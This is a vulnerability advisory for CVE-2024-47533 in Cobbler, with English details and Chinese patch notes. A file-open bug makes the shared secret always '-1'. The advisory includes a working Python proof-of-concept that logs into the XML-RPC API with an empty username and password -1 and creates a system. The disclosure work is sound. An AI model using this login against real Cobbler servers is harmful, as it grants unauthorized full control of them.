CVE-2024-47533

描述

### Summary utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes. ### Details utils.py get_shared_secret: ``` def get_shared_secret() -> Union[str, int]: """ The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required. For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server. :return: The Cobbler secret which enables full access to Cobbler. """ try: with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd: data = fd.read() except: return -1 return str(data).strip() ``` Always returns `-1` because of the following exception: ``` binary mode doesn't take an encoding argument ``` This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+. ### PoC ``` #!/usr/bin/python3 import ssl import xmlrpc.client params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 } ssl_context = ssl._create_unverified_context() url = '{proto}://{host}:{port}/cobbler_api'.format(**params) if ssl_context: conn = xmlrpc.client.ServerProxy(url, context=ssl_context) else: conn = xmlrpc.client.Server(url) try: token = conn.login(params['username'], params['password']) except xmlrpc.client.Fault as e: print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params)) except Exception as e: print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params)) print("Login success!") system_id = conn.new_system(token) ``` ### Impact This gives anyone with network access to a cobbler server full control of the server.

如何修補 CVE-2024-47533

要修補 CVE-2024-47533,請將受影響套件升級到下列已修補版本。

• —升級至 3.2.3 或更新版本

CVE-2024-47533 正在被利用嗎?

低 — EPSS 為 3.9%,目前沒有觀察到大規模利用活動。

受影響套件(1)